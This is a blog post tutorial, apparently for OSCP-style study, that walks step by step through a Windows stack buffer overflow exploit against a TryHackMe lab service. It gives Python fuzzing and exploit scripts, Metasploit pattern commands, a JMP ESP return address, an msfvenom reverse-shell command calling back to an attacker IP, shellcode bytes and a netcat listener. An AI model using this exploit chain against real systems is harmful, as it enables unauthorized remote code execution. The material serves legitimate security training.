DEV Community

Cover image for Python For Exploit Development
Biscotti Diskette
Biscotti Diskette

Posted on • Originally published at biscottidiskette.github.io

Python For Exploit Development

Originally posted on my security blog - https://biscottidiskette.github.io

Disclaimer: For educational purposes only. Only run these techniques against machines you own or have explicit written permission to test. Unauthorized exploitation is illegal and unethical.

What We're Building

By the end of this post, you'll have a working buffer overflow exploit for a vulnerable Windows service. We'll cover:

  • Connecting to the service with Python
  • Fuzzing to find the crash
  • Controlling the instruction pointer (EIP)
  • Finding bad characters
  • Generating and delivering shellcode

The target is OVERFLOW1 from TryHackMe's Buffer Overflow Prep room, but the techniques work for any vanilla stack overflow.


Why Another Buffer Overflow Tutorial?

Fair question - there are plenty of buffer overflow tutorials out there. This post focuses on the why behind the code: the libraries I use, why I chose them, and how they work together to build reliable exploits.

Most tutorials give you working code. This one explains the thinking process.

Grab your favorite snack and water (hydration is important), and let's get cracking.


The Libraries

For vanilla buffer overflows, I typically use two libraries:

Socket - Handles TCP connections to vulnerable services. For web applications, I use requests for HTTP/HTTPS, but most binary exploits need raw socket programming.

Struct - Specifically the pack function, which handles converting memory addresses to the correct byte order for the target architecture (little-endian, big-endian). Without it, you'll manually reverse bytes. Not fun.


Before We Start: Three Hard-Learned Lessons

1. Write exploits in small chunks

I understand the urge to write everything in one all-night coding session. But the first time you debug that monster at 2am, you'll understand why incremental development matters.

2. Never leave code in a broken state

Either fix it or rollback to the last working version. I've lost count of how many times I've started a session with broken code and couldn't remember what I was trying to do.

3. Save versions as you go

I use hexadecimal naming: exploit_0x00.py, exploit_0x01.py, exploit_0x02.py. When (not if) you break something, you can revert to the previous version instead of debugging from memory.


Step 1: The Initial Connection

First, we need to connect to the vulnerable service - regular connection, no exploitation yet.

import socket

url = '10.0.0.7'
port = 1337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((url,port))  # Connect to the service
print(s.recv(1024))    # Print the banner

s.send(b'OVERFLOW1 aaaa\r\n')  # Send our command
print(s.recv(1024))            # Receive response

s.close()  # Clean up
Enter fullscreen mode Exit fullscreen mode

Key points:

  • socket.AF_INET = IPv4 addresses
  • socket.SOCK_STREAM = TCP (vs UDP's SOCK_DGRAM)
  • connect() takes a tuple - note the double parentheses
  • b'' prefix required in Python 3 (sockets use bytes, not strings)
  • \r\n = CRLF (carriage return + newline, like pressing Enter)

Step 2: Fuzzing For The Crash

Now we'll find where the program breaks by sending increasingly large payloads.

import socket

url = '10.0.0.7'
port = 1337

buffers = [b'A']
counter = 100  
while len(buffers) < 50:
    buffers.append(b'A' * counter)
    counter += 100

for inputBuffer in buffers:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)

    s.connect((url,port))
    s.recv(1024)

    print('[*] Sending: {size}'.format(size=len(inputBuffer)))
    s.send(b'OVERFLOW1 ' + inputBuffer + b'\r\n')
    s.recv(1024)

    s.close()
Enter fullscreen mode Exit fullscreen mode

When the program hangs, the last number printed is your crash point.


Step 3: Hardcode The Breakpoint

Take that crash point and hardcode it. Remove the loops and send a fixed-size buffer.

import socket

url = '10.0.0.7'
port = 1337

inputBuffer = b'A' * 2400  # Hardcoded breakpoint

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)

s.connect((url,port))
s.recv(1024)

print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')

s.close()
Enter fullscreen mode Exit fullscreen mode

Run it again and verify EIP shows 0x41414141 (four A's in hex).


Step 4: Find The EIP Offset

We need to know exactly where in our payload EIP sits. Generate a unique pattern using Metasploit's pattern_create:

msf-pattern_create -l 2400
Enter fullscreen mode Exit fullscreen mode

Replace your A's with this pattern:

import socket

url = '10.0.0.7'
port = 1337

inputBuffer = b'Aa0Aa1Aa2Aa3...'  # Unique pattern from pattern_create

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)

s.connect((url,port))
s.recv(1024)

print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')

s.close()
Enter fullscreen mode Exit fullscreen mode

Step 5: Calculate The Offset

Check what's in EIP after the crash, then use pattern_offset:

msf-pattern_offset -l 2400 -q 6f43396e
[*] Exact match at offset 1978
Enter fullscreen mode Exit fullscreen mode

Now structure your payload in three parts:

import socket

url = '10.0.0.7'
port = 1337

inputBuffer = b'A' * 1978          # Filler to reach EIP
inputBuffer += b'B' * 4             # EIP control (should show 0x42424242)
inputBuffer += b'C' * (2400 - len(inputBuffer))  # Padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)

s.connect((url,port))
s.recv(1024)

print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')

s.close()
Enter fullscreen mode Exit fullscreen mode

Step 6: Find Bad Characters

Create a byte array with all possible hex values (except \x00, which always terminates strings):

badchars = (
  b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
Enter fullscreen mode Exit fullscreen mode

Add it after your EIP control:

import socket

url = '10.0.0.7'
port = 1337

# Bad chars found so far: \x00

badchars = (  # ... full badchars array ...  )

inputBuffer = b'A' * 1978
inputBuffer += b'B' * 4
inputBuffer += badchars
inputBuffer += b'C' * (2400 - len(inputBuffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)

s.connect((url,port))
s.recv(1024)

print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')

s.close()
Enter fullscreen mode Exit fullscreen mode

Check the ESP register. If you see mangled bytes or gaps, remove that byte from badchars and run again. Repeat until the entire string appears intact.


Step 7: Prepare For Shellcode

Clean up the badchars test and add a payload placeholder:

import socket

url = '10.0.0.7'
port = 1337

# Bad chars: \x00\x07\x2e\xa0

payload = b'D' * 400  # Placeholder for shellcode

inputBuffer = b'A' * 1978
inputBuffer += b'B' * 4
inputBuffer += payload
inputBuffer += b'C' * (2400 - len(inputBuffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)

s.connect((url,port))
s.recv(1024)

print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')

s.close()
Enter fullscreen mode Exit fullscreen mode

Step 8: Find JMP ESP Address

Use a debugger (WinDBG with narly extension, Immunity Debugger with mona.py, or similar) to find a JMP ESP instruction in a module without memory protections.

Search for the opcode FFE4 (JMP ESP in x86). Once you have the address, use struct.pack to format it correctly:

import socket
from struct import pack

url = '10.0.0.7'
port = 1337

# Bad chars: \x00\x07\x2e\xa0

payload = b'D' * 400

inputBuffer = b'A' * 1978
inputBuffer += pack('<L', (0x625011af))  # JMP ESP address in little-endian
inputBuffer += payload
inputBuffer += b'C' * (2400 - len(inputBuffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)

s.connect((url,port))
s.recv(1024)

print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')

s.close()
Enter fullscreen mode Exit fullscreen mode

Why pack? The pack('<L', address) converts your address to little-endian format (x86 architecture). <L means "little-endian, unsigned long (4 bytes)."


Step 9: Generate And Deliver Shellcode

Use msfvenom to generate shellcode, excluding all bad characters:

msfvenom -p windows/shell_reverse_tcp \
  LHOST=10.0.0.6 \
  LPORT=443 \
  ExitFunc=thread \
  -f python \
  -b '\x00\x07\x2e\xa0' \
  -v payload
Enter fullscreen mode Exit fullscreen mode

Replace the payload placeholder with the generated shellcode and add a NOP sled:

import socket
from struct import pack

url = '10.0.0.7'
port = 1337

# Bad chars: \x00\x07\x2e\xa0

payload =  b""
payload += b"\xda\xc1\xba\x6e\x21\x5d\x96\xd9\x74\x24\xf4\x5e"
payload += b"\x29\xc9\xb1\x52\x31\x56\x12\x03\x56\x12\x83\xc4"
# ... rest of msfvenom output ...

inputBuffer = b'A' * 1978                      # Filler to EIP
inputBuffer += pack('<L', (0x625011af))        # JMP ESP
inputBuffer += b'\x90' * 16                    # NOP sled
inputBuffer += payload                         # Shellcode
inputBuffer += b'C' * (2400 - len(inputBuffer))  # Padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)

s.connect((url,port))
s.recv(1024)

print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')

s.close()
Enter fullscreen mode Exit fullscreen mode

Why the NOP sled? The NOP sled (\x90 bytes) gives the shellcode decoder breathing room. If your offset is slightly off, execution will "slide" down the NOPs until it hits the decoder.

Set up a netcat listener:

nc -lvnp 443
Enter fullscreen mode Exit fullscreen mode

Run the exploit, and you should catch a shell.


Troubleshooting

No shell but no crash:

  • Check your JMP ESP address doesn't contain bad characters
  • Verify the address points to an executable region

Immediate crash:

  • Regenerate payload with ALL bad characters in the -b flag
  • Double-check your bad character analysis

Shell dies immediately:

  • Use ExitFunc=thread in msfvenom
  • Some payloads need ExitFunc=process depending on the target

Wrong offset:

  • Re-verify with pattern_create/pattern_offset
  • EIP should show exactly 0x42424242 (four B's)

Reflections

I remember learning buffer overflows for the OSCP and being genuinely nervous about the assembly code. I even Googled "can I pass OSCP without doing buffer overflow?"

But I just started working through practice machines. After four or five runs, I was hooked.

The best advice for people struggling to start:

Just jump in and start working. Learn to sink or swim. You'll get it eventually.


Wrap Up

Buffer overflow exploitation is one of those skills that seems intimidating until you've done it a few times. The process is methodical:

  1. Connect and fuzz
  2. Find the offset
  3. Control EIP
  4. Find bad characters
  5. Redirect execution
  6. Deliver shellcode

Once you understand the pattern, you can apply it to any vanilla stack overflow.

Now go break some things (legally).


Top comments (0)